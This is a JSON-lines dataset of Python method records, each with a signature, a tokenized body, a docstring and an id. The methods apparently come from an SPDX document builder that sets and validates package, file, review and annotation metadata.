{"signature": "def set_ext_doc_id(self, doc, ext_doc_id):", "body": "doc.add_ext_document_reference(<EOL>ExternalDocumentRef(<EOL>external_document_id=ext_doc_id))<EOL>", "docstring": "Sets the `external_document_id` attribute of the `ExternalDocumentRef`\nobject.", "id": "f3754:c1:m0"}
{"signature": "def set_spdx_doc_uri(self, doc, spdx_doc_uri):", "body": "if validations.validate_doc_namespace(spdx_doc_uri):<EOL><INDENT>doc.ext_document_references[-<NUM_LIT:1>].spdx_document_uri = spdx_doc_uri<EOL><DEDENT>else:<EOL><INDENT>raise SPDXValueError('<STR_LIT>')<EOL><DEDENT>", "docstring": "Sets the `spdx_document_uri` attribute of the `ExternalDocumentRef`\nobject.", "id": "f3754:c1:m1"}
{"signature": "def set_chksum(self, doc, chksum):", "body": "doc.ext_document_references[-<NUM_LIT:1>].check_sum = checksum_from_sha1(<EOL>chksum)<EOL>", "docstring": "Sets the `check_sum` attribute of the `ExternalDocumentRef`\nobject.", "id": "f3754:c1:m2"}
{"signature": "def build_tool(self, doc, entity):", "body": "match = self.tool_re.match(entity)<EOL>if match and validations.validate_tool_name(match.group(self.TOOL_NAME_GROUP)):<EOL><INDENT>name = match.group(self.TOOL_NAME_GROUP)<EOL>return creationinfo.Tool(name)<EOL><DEDENT>else:<EOL><INDENT>raise SPDXValueError('<STR_LIT>')<EOL><DEDENT>", "docstring": "Builds a tool object out of a string representation.\n        Returns built tool. Raises SPDXValueError if failed to extract\n        tool name or name is malformed", "id": "f3754:c2:m0"}
{"signature": "def build_org(self, doc, entity):", "body": "match = self.org_re.match(entity)<EOL>if match and validations.validate_org_name(match.group(self.ORG_NAME_GROUP)):<EOL><INDENT>name = match.group(self.ORG_NAME_GROUP).strip()<EOL>email = match.group(self.ORG_EMAIL_GROUP)<EOL>if (email is not None) and (len(email) != <NUM_LIT:0>):<EOL><INDENT>return creationinfo.Organization(name=name, email=email.strip())<EOL><DEDENT>else:<EOL><INDENT>return creationinfo.Organization(name=name, email=None)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise SPDXValueError('<STR_LIT>')<EOL><DEDENT>", "docstring": "Builds an organization object of of a string representation.\n        Returns built organization. Raises SPDXValueError if failed to extract\n        name.", "id": "f3754:c2:m1"}
{"signature": "def build_person(self, doc, entity):", "body": "match = self.person_re.match(entity)<EOL>if match and validations.validate_person_name(match.group(self.PERSON_NAME_GROUP)):<EOL><INDENT>name = match.group(self.PERSON_NAME_GROUP).strip()<EOL>email = match.group(self.PERSON_EMAIL_GROUP)<EOL>if (email is not None) and (len(email) != <NUM_LIT:0>):<EOL><INDENT>return creationinfo.Person(name=name, email=email.strip())<EOL><DEDENT>else:<EOL><INDENT>return creationinfo.Person(name=name, email=None)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise SPDXValueError('<STR_LIT>')<EOL><DEDENT>", "docstring": "Builds an organization object of of a string representation.\n        Returns built organization. Raises SPDXValueError if failed to extract\n        name.", "id": "f3754:c2:m2"}
{"signature": "def add_creator(self, doc, creator):", "body": "if validations.validate_creator(creator):<EOL><INDENT>doc.creation_info.add_creator(creator)<EOL>return True<EOL><DEDENT>else:<EOL><INDENT>raise SPDXValueError('<STR_LIT>')<EOL><DEDENT>", "docstring": "Adds a creator to the document's creation info.\n        Returns true if creator is valid.\n        Creator must be built by an EntityBuilder.\n        Raises SPDXValueError if not a creator type.", "id": "f3754:c3:m1"}
{"signature": "def set_created_date(self, doc, created):", "body": "if not self.created_date_set:<EOL><INDENT>self.created_date_set = True<EOL>date = utils.datetime_from_iso_format(created)<EOL>if date is not None:<EOL><INDENT>doc.creation_info.created = date<EOL>return True<EOL><DEDENT>else:<EOL><INDENT>raise SPDXValueError('<STR_LIT>')<EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise CardinalityError('<STR_LIT>')<EOL><DEDENT>", "docstring": "Sets created date, Raises CardinalityError if\n        created date already set.\n        Raises SPDXValueError if created is not a date.", "id": "f3754:c3:m2"}
{"signature": "def set_creation_comment(self, doc, comment):", "body": "if not self.creation_comment_set:<EOL><INDENT>self.creation_comment_set = True<EOL>if validations.validate_creation_comment(comment):<EOL><INDENT>doc.creation_info.comment = str_from_text(comment)<EOL>return True<EOL><DEDENT>else:<EOL><INDENT>raise SPDXValueError('<STR_LIT>')<EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise CardinalityError('<STR_LIT>')<EOL><DEDENT>", "docstring": "Sets creation comment, Raises CardinalityError if\n        comment already set.\n        Raises SPDXValueError if not free form text.", "id": "f3754:c3:m3"}
{"signature": "def set_lics_list_ver(self, doc, value):", "body": "if not self.lics_list_ver_set:<EOL><INDENT>self.lics_list_ver_set = True<EOL>vers = version.Version.from_str(value)<EOL>if vers is not None:<EOL><INDENT>doc.creation_info.license_list_version = vers<EOL>return True<EOL><DEDENT>else:<EOL><INDENT>raise SPDXValueError('<STR_LIT>')<EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise CardinalityError('<STR_LIT>')<EOL><DEDENT>", "docstring": "Sets the license list version, Raises CardinalityError if\n        already set, SPDXValueError if incorrect value.", "id": "f3754:c3:m4"}
{"signature": "def reset_creation_info(self):", "body": "<EOL>self.created_date_set = False<EOL>self.creation_comment_set = False<EOL>self.lics_list_ver_set = False<EOL>", "docstring": "Resets builder state to allow building new creation info.", "id": "f3754:c3:m5"}
{"signature": "def reset_reviews(self):", "body": "<EOL>self.review_date_set = False<EOL>self.review_comment_set = False<EOL>", "docstring": "Resets the builder's state to allow building new reviews.", "id": "f3754:c4:m1"}
{"signature": "def add_reviewer(self, doc, reviewer):", "body": "<EOL>self.reset_reviews()<EOL>if validations.validate_reviewer(reviewer):<EOL><INDENT>doc.add_review(review.Review(reviewer=reviewer))<EOL>return True<EOL><DEDENT>else:<EOL><INDENT>raise SPDXValueError('<STR_LIT>')<EOL><DEDENT>", "docstring": "Adds a reviewer to the SPDX Document.\n        Reviwer is an entity created by an EntityBuilder.\n        Raises SPDXValueError if not a valid reviewer type.", "id": "f3754:c4:m2"}
{"signature": "def add_review_date(self, doc, reviewed):", "body": "if len(doc.reviews) != <NUM_LIT:0>:<EOL><INDENT>if not self.review_date_set:<EOL><INDENT>self.review_date_set = True<EOL>date = utils.datetime_from_iso_format(reviewed)<EOL>if date is not None:<EOL><INDENT>doc.reviews[-<NUM_LIT:1>].review_date = date<EOL>return True<EOL><DEDENT>else:<EOL><INDENT>raise SPDXValueError('<STR_LIT>')<EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise CardinalityError('<STR_LIT>')<EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise OrderError('<STR_LIT>')<EOL><DEDENT>", "docstring": "Sets the review date. Raises CardinalityError if\n        already set. OrderError if no reviewer defined before.\n        Raises SPDXValueError if invalid reviewed value.", "id": "f3754:c4:m3"}
{"signature": "def add_review_comment(self, doc, comment):", "body": "if len(doc.reviews) != <NUM_LIT:0>:<EOL><INDENT>if not self.review_comment_set:<EOL><INDENT>self.review_comment_set = True<EOL>if validations.validate_review_comment(comment):<EOL><INDENT>doc.reviews[-<NUM_LIT:1>].comment = str_from_text(comment)<EOL>return True<EOL><DEDENT>else:<EOL><INDENT>raise SPDXValueError('<STR_LIT>')<EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise CardinalityError('<STR_LIT>')<EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise OrderError('<STR_LIT>')<EOL><DEDENT>", "docstring": "Sets the review comment. Raises CardinalityError if\n        already set. OrderError if no reviewer defined before.\n        Raises SPDXValueError if comment is not free form text.", "id": "f3754:c4:m4"}
{"signature": "def reset_annotations(self):", "body": "<EOL>self.annotation_date_set = False<EOL>self.annotation_comment_set = False<EOL>self.annotation_type_set = False<EOL>self.annotation_spdx_id_set = False<EOL>", "docstring": "Resets the builder's state to allow building new annotations.", "id": "f3754:c5:m1"}
{"signature": "def add_annotator(self, doc, annotator):", "body": "<EOL>self.reset_annotations()<EOL>if validations.validate_annotator(annotator):<EOL><INDENT>doc.add_annotation(annotation.Annotation(annotator=annotator))<EOL>return True<EOL><DEDENT>else:<EOL><INDENT>raise SPDXValueError('<STR_LIT>')<EOL><DEDENT>", "docstring": "Adds an annotator to the SPDX Document.\n        Annotator is an entity created by an EntityBuilder.\n        Raises SPDXValueError if not a valid annotator type.", "id": "f3754:c5:m2"}
{"signature": "def add_annotation_date(self, doc, annotation_date):", "body": "if len(doc.annotations) != <NUM_LIT:0>:<EOL><INDENT>if not self.annotation_date_set:<EOL><INDENT>self.annotation_date_set = True<EOL>date = utils.datetime_from_iso_format(annotation_date)<EOL>if date is not None:<EOL><INDENT>doc.annotations[-<NUM_LIT:1>].annotation_date = date<EOL>return True<EOL><DEDENT>else:<EOL><INDENT>raise SPDXValueError('<STR_LIT>')<EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise CardinalityError('<STR_LIT>')<EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise OrderError('<STR_LIT>')<EOL><DEDENT>", "docstring": "Sets the annotation date. Raises CardinalityError if\n        already set. OrderError if no annotator defined before.\n        Raises SPDXValueError if invalid value.", "id": "f3754:c5:m3"}
{"signature": "def add_annotation_comment(self, doc, comment):", "body": "if len(doc.annotations) != <NUM_LIT:0>:<EOL><INDENT>if not self.annotation_comment_set:<EOL><INDENT>self.annotation_comment_set = True<EOL>if validations.validate_annotation_comment(comment):<EOL><INDENT>doc.annotations[-<NUM_LIT:1>].comment = str_from_text(comment)<EOL>return True<EOL><DEDENT>else:<EOL><INDENT>raise SPDXValueError('<STR_LIT>')<EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise CardinalityError('<STR_LIT>')<EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise OrderError('<STR_LIT>')<EOL><DEDENT>", "docstring": "Sets the annotation comment. Raises CardinalityError if\n        already set. OrderError if no annotator defined before.\n        Raises SPDXValueError if comment is not free form text.", "id": "f3754:c5:m4"}
{"signature": "def add_annotation_type(self, doc, annotation_type):", "body": "if len(doc.annotations) != <NUM_LIT:0>:<EOL><INDENT>if not self.annotation_type_set:<EOL><INDENT>self.annotation_type_set = True<EOL>if validations.validate_annotation_type(annotation_type):<EOL><INDENT>doc.annotations[-<NUM_LIT:1>].annotation_type = annotation_type<EOL>return True<EOL><DEDENT>else:<EOL><INDENT>raise SPDXValueError('<STR_LIT>')<EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise CardinalityError('<STR_LIT>')<EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise OrderError('<STR_LIT>')<EOL><DEDENT>", "docstring": "Sets the annotation type. Raises CardinalityError if\n        already set. OrderError if no annotator defined before.\n        Raises SPDXValueError if invalid value.", "id": "f3754:c5:m5"}
{"signature": "def set_annotation_spdx_id(self, doc, spdx_id):", "body": "if len(doc.annotations) != <NUM_LIT:0>:<EOL><INDENT>if not self.annotation_spdx_id_set:<EOL><INDENT>self.annotation_spdx_id_set = True<EOL>doc.annotations[-<NUM_LIT:1>].spdx_id = spdx_id<EOL>return True<EOL><DEDENT>else:<EOL><INDENT>raise CardinalityError('<STR_LIT>')<EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise OrderError('<STR_LIT>')<EOL><DEDENT>", "docstring": "Sets the annotation SPDX Identifier.\n        Raises CardinalityError if already set. OrderError if no annotator\n        defined before.", "id": "f3754:c5:m6"}
{"signature": "def reset_package(self):", "body": "<EOL>self.package_set = False<EOL>self.package_vers_set = False<EOL>self.package_file_name_set = False<EOL>self.package_supplier_set = False<EOL>self.package_originator_set = False<EOL>self.package_down_location_set = False<EOL>self.package_home_set = False<EOL>self.package_verif_set = False<EOL>self.package_chk_sum_set = False<EOL>self.package_source_info_set = False<EOL>self.package_conc_lics_set = False<EOL>self.package_license_declared_set = False<EOL>self.package_license_comment_set = False<EOL>self.package_cr_text_set = False<EOL>self.package_summary_set = False<EOL>self.package_desc_set = False<EOL>", "docstring": "Resets the builder's state in order to build new packages.", "id": "f3754:c6:m1"}
{"signature": "def create_package(self, doc, name):", "body": "if not self.package_set:<EOL><INDENT>self.package_set = True<EOL>doc.package = package.Package(name=name)<EOL>return True<EOL><DEDENT>else:<EOL><INDENT>raise CardinalityError('<STR_LIT>')<EOL><DEDENT>", "docstring": "Creates a package for the SPDX Document.\n        name - any string.\n        Raises CardinalityError if package already defined.", "id": "f3754:c6:m2"}
{"signature": "def set_pkg_vers(self, doc, version):", "body": "self.assert_package_exists()<EOL>if not self.package_vers_set:<EOL><INDENT>self.package_vers_set = True<EOL>doc.package.version = version<EOL>return True<EOL><DEDENT>else:<EOL><INDENT>raise CardinalityError('<STR_LIT>')<EOL><DEDENT>", "docstring": "Sets package version, if not already set.\n        version - Any string.\n        Raises CardinalityError if already has a version.\n        Raises OrderError if no package previously defined.", "id": "f3754:c6:m3"}
{"signature": "def set_pkg_file_name(self, doc, name):", "body": "self.assert_package_exists()<EOL>if not self.package_file_name_set:<EOL><INDENT>self.package_file_name_set = True<EOL>doc.package.file_name = name<EOL>return True<EOL><DEDENT>else:<EOL><INDENT>raise CardinalityError('<STR_LIT>')<EOL><DEDENT>", "docstring": "Sets the package file name, if not already set.\n        name - Any string.\n        Raises CardinalityError if already has a file_name.\n        Raises OrderError if no pacakge previously defined.", "id": "f3754:c6:m4"}
{"signature": "def set_pkg_supplier(self, doc, entity):", "body": "self.assert_package_exists()<EOL>if not self.package_supplier_set:<EOL><INDENT>self.package_supplier_set = True<EOL>if validations.validate_pkg_supplier(entity):<EOL><INDENT>doc.package.supplier = entity<EOL>return True<EOL><DEDENT>else:<EOL><INDENT>raise SPDXValueError('<STR_LIT>')<EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise CardinalityError('<STR_LIT>')<EOL><DEDENT>", "docstring": "Sets the package supplier, if not already set.\n        entity - Organization, Person or NoAssert.\n        Raises CardinalityError if already has a supplier.\n        Raises OrderError if no package previously defined.", "id": "f3754:c6:m5"}
{"signature": "def set_pkg_originator(self, doc, entity):", "body": "self.assert_package_exists()<EOL>if not self.package_originator_set:<EOL><INDENT>self.package_originator_set = True<EOL>if validations.validate_pkg_originator(entity):<EOL><INDENT>doc.package.originator = entity<EOL>return True<EOL><DEDENT>else:<EOL><INDENT>raise SPDXValueError('<STR_LIT>')<EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise CardinalityError('<STR_LIT>')<EOL><DEDENT>", "docstring": "Sets the package originator, if not already set.\n        entity - Organization, Person or NoAssert.\n        Raises CardinalityError if already has an originator.\n        Raises OrderError if no package previously defined.", "id": "f3754:c6:m6"}
{"signature": "def set_pkg_down_location(self, doc, location):", "body": "self.assert_package_exists()<EOL>if not self.package_down_location_set:<EOL><INDENT>self.package_down_location_set = True<EOL>doc.package.download_location = location<EOL>return True<EOL><DEDENT>else:<EOL><INDENT>raise CardinalityError('<STR_LIT>')<EOL><DEDENT>", "docstring": "Sets the package download location, if not already set.\n        location - A string\n        Raises CardinalityError if already defined.\n        Raises OrderError if no package previously defined.", "id": "f3754:c6:m7"}
{"signature": "def set_pkg_home(self, doc, location):", "body": "self.assert_package_exists()<EOL>if not self.package_home_set:<EOL><INDENT>self.package_home_set = True<EOL>if validations.validate_pkg_homepage(location):<EOL><INDENT>doc.package.homepage = location<EOL>return True<EOL><DEDENT>else:<EOL><INDENT>raise SPDXValueError('<STR_LIT>')<EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise CardinalityError('<STR_LIT>')<EOL><DEDENT>", "docstring": "Sets the package homepage location if not already set.\n        location - A string or None or NoAssert.\n        Raises CardinalityError if already defined.\n        Raises OrderError if no package previously defined.\n        Raises SPDXValueError if location has incorrect value.", "id": "f3754:c6:m8"}
{"signature": "def set_pkg_verif_code(self, doc, code):", "body": "self.assert_package_exists()<EOL>if not self.package_verif_set:<EOL><INDENT>self.package_verif_set = True<EOL>match = self.VERIF_CODE_REGEX.match(code)<EOL>if match:<EOL><INDENT>doc.package.verif_code = match.group(self.VERIF_CODE_CODE_GRP)<EOL>if match.group(self.VERIF_CODE_EXC_FILES_GRP) is not None:<EOL><INDENT>doc.package.verif_exc_files = match.group(self.VERIF_CODE_EXC_FILES_GRP).split('<STR_LIT:U+002C>')<EOL><DEDENT>return True<EOL><DEDENT>else:<EOL><INDENT>raise SPDXValueError('<STR_LIT>')<EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise CardinalityError('<STR_LIT>')<EOL><DEDENT>", "docstring": "Sets the package verification code, if not already set.\n        code - A string.\n        Raises CardinalityError if already defined.\n        Raises OrderError if no package previously defined.\n        Raises Value error if doesn't match verifcode form", "id": "f3754:c6:m9"}
{"signature": "def set_pkg_chk_sum(self, doc, chk_sum):", "body": "self.assert_package_exists()<EOL>if not self.package_chk_sum_set:<EOL><INDENT>self.package_chk_sum_set = True<EOL>doc.package.check_sum = checksum_from_sha1(chk_sum)<EOL>return True<EOL><DEDENT>else:<EOL><INDENT>raise CardinalityError('<STR_LIT>')<EOL><DEDENT>", "docstring": "Sets the package check sum, if not already set.\n        chk_sum - A string\n        Raises CardinalityError if already defined.\n        Raises OrderError if no package previously defined.", "id": "f3754:c6:m10"}
{"signature": "def set_pkg_source_info(self, doc, text):", "body": "self.assert_package_exists()<EOL>if not self.package_source_info_set:<EOL><INDENT>self.package_source_info_set = True<EOL>if validations.validate_pkg_src_info(text):<EOL><INDENT>doc.package.source_info = str_from_text(text)<EOL>return True<EOL><DEDENT>else:<EOL><INDENT>raise SPDXValueError('<STR_LIT>')<EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise CardinalityError('<STR_LIT>')<EOL><DEDENT>", "docstring": "Sets the package's source information, if not already set.\n        text - Free form text.\n        Raises CardinalityError if already defined.\n        Raises OrderError if no package previously defined.\n        SPDXValueError if text is not free form text.", "id": "f3754:c6:m11"}
{"signature": "def set_pkg_licenses_concluded(self, doc, licenses):", "body": "self.assert_package_exists()<EOL>if not self.package_conc_lics_set:<EOL><INDENT>self.package_conc_lics_set = True<EOL>if validations.validate_lics_conc(licenses):<EOL><INDENT>doc.package.conc_lics = licenses<EOL>return True<EOL><DEDENT>else:<EOL><INDENT>raise SPDXValueError('<STR_LIT>')<EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise CardinalityError('<STR_LIT>')<EOL><DEDENT>", "docstring": "Sets the package's concluded licenses.\n        licenses - License info.\n        Raises CardinalityError if already defined.\n        Raises OrderError if no package previously defined.\n        Raises SPDXValueError if data malformed.", "id": "f3754:c6:m12"}
{"signature": "def set_pkg_license_from_file(self, doc, lic):", "body": "self.assert_package_exists()<EOL>if validations.validate_lics_from_file(lic):<EOL><INDENT>doc.package.licenses_from_files.append(lic)<EOL>return True<EOL><DEDENT>else:<EOL><INDENT>raise SPDXValueError('<STR_LIT>')<EOL><DEDENT>", "docstring": "Adds a license from a file to the package.\n        Raises SPDXValueError if data malformed.\n        Raises OrderError if no package previously defined.", "id": "f3754:c6:m13"}
{"signature": "def set_pkg_license_declared(self, doc, lic):", "body": "self.assert_package_exists()<EOL>if not self.package_license_declared_set:<EOL><INDENT>self.package_license_declared_set = True<EOL>if validations.validate_lics_conc(lic):<EOL><INDENT>doc.package.license_declared = lic<EOL>return True<EOL><DEDENT>else:<EOL><INDENT>raise SPDXValueError('<STR_LIT>')<EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise CardinalityError('<STR_LIT>')<EOL><DEDENT>", "docstring": "Sets the package's declared license.\n        Raises SPDXValueError if data malformed.\n        Raises OrderError if no package previously defined.\n        Raises CardinalityError if already set.", "id": "f3754:c6:m14"}
{"signature": "def set_pkg_license_comment(self, doc, text):", "body": "self.assert_package_exists()<EOL>if not self.package_license_comment_set:<EOL><INDENT>self.package_license_comment_set = True<EOL>if validations.validate_pkg_lics_comment(text):<EOL><INDENT>doc.package.license_comment = str_from_text(text)<EOL>return True<EOL><DEDENT>else:<EOL><INDENT>raise SPDXValueError('<STR_LIT>')<EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise CardinalityError('<STR_LIT>')<EOL><DEDENT>", "docstring": "Sets the package's license comment.\n        Raises OrderError if no package previously defined.\n        Raises CardinalityError if already set.\n        Raises SPDXValueError if text is not free form text.", "id": "f3754:c6:m15"}
{"signature": "def set_pkg_cr_text(self, doc, text):", "body": "self.assert_package_exists()<EOL>if not self.package_cr_text_set:<EOL><INDENT>self.package_cr_text_set = True<EOL>if validations.validate_pkg_cr_text(text):<EOL><INDENT>if isinstance(text, string_types):<EOL><INDENT>doc.package.cr_text = str_from_text(text)<EOL><DEDENT>else:<EOL><INDENT>doc.package.cr_text = text  <EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise SPDXValueError('<STR_LIT>')<EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise CardinalityError('<STR_LIT>')<EOL><DEDENT>", "docstring": "Sets the package's copyright text.\n        Raises OrderError if no package previously defined.\n        Raises CardinalityError if already set.\n        Raises value error if text is not one of [None, NOASSERT, TEXT].", "id": "f3754:c6:m16"}
{"signature": "def set_pkg_summary(self, doc, text):", "body": "self.assert_package_exists()<EOL>if not self.package_summary_set:<EOL><INDENT>self.package_summary_set = True<EOL>if validations.validate_pkg_summary(text):<EOL><INDENT>doc.package.summary = str_from_text(text)<EOL><DEDENT>else:<EOL><INDENT>raise SPDXValueError('<STR_LIT>')<EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise CardinalityError('<STR_LIT>')<EOL><DEDENT>", "docstring": "Set's the package summary.\n        Raises SPDXValueError if text is not free form text.\n        Raises CardinalityError if summary already set.\n        Raises OrderError if no package previously defined.", "id": "f3754:c6:m17"}
{"signature": "def set_pkg_desc(self, doc, text):", "body": "self.assert_package_exists()<EOL>if not self.package_desc_set:<EOL><INDENT>self.package_desc_set = True<EOL>if validations.validate_pkg_desc(text):<EOL><INDENT>doc.package.description = str_from_text(text)<EOL><DEDENT>else:<EOL><INDENT>raise SPDXValueError('<STR_LIT>')<EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise CardinalityError('<STR_LIT>')<EOL><DEDENT>", "docstring": "Set's the package's description.\n        Raises SPDXValueError if text is not free form text.\n        Raises CardinalityError if description already set.\n        Raises OrderError if no package previously defined.", "id": "f3754:c6:m18"}
{"signature": "def set_file_name(self, doc, name):", "body": "if self.has_package(doc):<EOL><INDENT>doc.package.files.append(file.File(name))<EOL>self.reset_file_stat()<EOL>return True<EOL><DEDENT>else:<EOL><INDENT>raise OrderError('<STR_LIT>')<EOL><DEDENT>", "docstring": "Raises OrderError if no package defined.", "id": "f3754:c7:m1"}
{"signature": "def set_file_spdx_id(self, doc, spdx_id):", "body": "if self.has_package(doc) and self.has_file(doc):<EOL><INDENT>if not self.file_spdx_id_set:<EOL><INDENT>self.file_spdx_id_set = True<EOL>if validations.validate_file_spdx_id(spdx_id):<EOL><INDENT>self.file(doc).spdx_id = spdx_id<EOL>return True<EOL><DEDENT>else:<EOL><INDENT>raise SPDXValueError('<STR_LIT>')<EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise CardinalityError('<STR_LIT>')<EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise OrderError('<STR_LIT>')<EOL><DEDENT>", "docstring": "Sets the file SPDX Identifier.\nRaises OrderError if no package or no file defined.\nRaises SPDXValueError if malformed value.\nRaises CardinalityError if more than one spdx_id set.", "id": "f3754:c7:m2"}
{"signature": "def set_file_comment(self, doc, text):", "body": "if self.has_package(doc) and self.has_file(doc):<EOL><INDENT>if not self.file_comment_set:<EOL><INDENT>self.file_comment_set = True<EOL>if validations.validate_file_comment(text):<EOL><INDENT>self.file(doc).comment = str_from_text(text)<EOL>return True<EOL><DEDENT>else:<EOL><INDENT>raise SPDXValueError('<STR_LIT>')<EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise CardinalityError('<STR_LIT>')<EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise OrderError('<STR_LIT>')<EOL><DEDENT>", "docstring": "Raises OrderError if no package or no file defined.\nRaises CardinalityError if more than one comment set.\nRaises SPDXValueError if text is not free form text.", "id": "f3754:c7:m3"}
{"signature": "def set_file_type(self, doc, type_value):", "body": "type_dict = {<EOL>'<STR_LIT>': file.FileType.SOURCE,<EOL>'<STR_LIT>': file.FileType.BINARY,<EOL>'<STR_LIT>': file.FileType.ARCHIVE,<EOL>'<STR_LIT>': file.FileType.OTHER<EOL>}<EOL>if self.has_package(doc) and self.has_file(doc):<EOL><INDENT>if not self.file_type_set:<EOL><INDENT>self.file_type_set = True<EOL>if type_value in type_dict.keys():<EOL><INDENT>self.file(doc).type = type_dict[type_value]<EOL>return True<EOL><DEDENT>else:<EOL><INDENT>raise SPDXValueError('<STR_LIT>')<EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise CardinalityError('<STR_LIT>')<EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise OrderError('<STR_LIT>')<EOL><DEDENT>", "docstring": "Raises OrderError if no package or file defined.\nRaises CardinalityError if more than one type set.\nRaises SPDXValueError if type is unknown.", "id": "f3754:c7:m4"}
{"signature": "def set_file_chksum(self, doc, chksum):", "body": "if self.has_package(doc) and self.has_file(doc):<EOL><INDENT>if not self.file_chksum_set:<EOL><INDENT>self.file_chksum_set = True<EOL>self.file(doc).chk_sum = checksum_from_sha1(chksum)<EOL>return True<EOL><DEDENT>else:<EOL><INDENT>raise CardinalityError('<STR_LIT>')<EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise OrderError('<STR_LIT>')<EOL><DEDENT>", "docstring": "Raises OrderError if no package or file defined.\nRaises CardinalityError if more than one chksum set.", "id": "f3754:c7:m5"}
{"signature": "def set_concluded_license(self, doc, lic):", "body": "if self.has_package(doc) and self.has_file(doc):<EOL><INDENT>if not self.file_conc_lics_set:<EOL><INDENT>self.file_conc_lics_set = True<EOL>if validations.validate_lics_conc(lic):<EOL><INDENT>self.file(doc).conc_lics = lic<EOL>return True<EOL><DEDENT>else:<EOL><INDENT>raise SPDXValueError('<STR_LIT>')<EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise CardinalityError('<STR_LIT>')<EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise OrderError('<STR_LIT>')<EOL><DEDENT>", "docstring": "Raises OrderError if no package or file defined.\nRaises CardinalityError if already set.\nRaises SPDXValueError if malformed.", "id": "f3754:c7:m6"}
{"signature": "def set_file_license_in_file(self, doc, lic):", "body": "if self.has_package(doc) and self.has_file(doc):<EOL><INDENT>if validations.validate_file_lics_in_file(lic):<EOL><INDENT>self.file(doc).add_lics(lic)<EOL>return True<EOL><DEDENT>else:<EOL><INDENT>raise SPDXValueError('<STR_LIT>')<EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise OrderError('<STR_LIT>')<EOL><DEDENT>", "docstring": "Raises OrderError if no package or file defined.\nRaises SPDXValueError if malformed value.", "id": "f3754:c7:m7"}
{"signature": "def set_file_license_comment(self, doc, text):", "body": "if self.has_package(doc) and self.has_file(doc):<EOL><INDENT>if not self.file_license_comment_set:<EOL><INDENT>self.file_license_comment_set = True<EOL>if validations.validate_file_lics_comment(text):<EOL><INDENT>self.file(doc).license_comment = str_from_text(text)<EOL><DEDENT>else:<EOL><INDENT>raise SPDXValueError('<STR_LIT>')<EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise CardinalityError('<STR_LIT>')<EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise OrderError('<STR_LIT>')<EOL><DEDENT>", "docstring": "Raises OrderError if no package or file defined.\nRaises SPDXValueError if text is not free form text.\nRaises CardinalityError if more than one per file.", "id": "f3754:c7:m8"}
{"signature": "def set_file_copyright(self, doc, text):", "body": "if self.has_package(doc) and self.has_file(doc):<EOL><INDENT>if not self.file_copytext_set:<EOL><INDENT>self.file_copytext_set = True<EOL>if validations.validate_file_cpyright(text):<EOL><INDENT>if isinstance(text, string_types):<EOL><INDENT>self.file(doc).copyright = str_from_text(text)<EOL><DEDENT>else:<EOL><INDENT>self.file(doc).copyright = text  <EOL><DEDENT>return True<EOL><DEDENT>else:<EOL><INDENT>raise SPDXValueError('<STR_LIT>')<EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise CardinalityError('<STR_LIT>')<EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise OrderError('<STR_LIT>')<EOL><DEDENT>", "docstring": "Raises OrderError if no package or file defined.\n        Raises SPDXValueError if not free form text or NONE or NO_ASSERT.\n        Raises CardinalityError if more than one.", "id": "f3754:c7:m9"}
{"signature": "def set_file_notice(self, doc, text):", "body": "if self.has_package(doc) and self.has_file(doc):<EOL><INDENT>if not self.file_notice_set:<EOL><INDENT>self.file_notice_set = True<EOL>if validations.validate_file_notice(text):<EOL><INDENT>self.file(doc).notice = str_from_text(text)<EOL><DEDENT>else:<EOL><INDENT>raise SPDXValueError('<STR_LIT>')<EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise CardinalityError('<STR_LIT>')<EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise OrderError('<STR_LIT>')<EOL><DEDENT>", "docstring": "Raises OrderError if no package or file defined.\n        Raises SPDXValueError if not free form text.\n        Raises CardinalityError if more than one.", "id": "f3754:c7:m10"}
{"signature": "def add_file_contribution(self, doc, value):", "body": "if self.has_package(doc) and self.has_file(doc):<EOL><INDENT>self.file(doc).add_contrib(value)<EOL><DEDENT>else:<EOL><INDENT>raise OrderError('<STR_LIT>')<EOL><DEDENT>", "docstring": "Raises OrderError if no package or file defined.", "id": "f3754:c7:m11"}
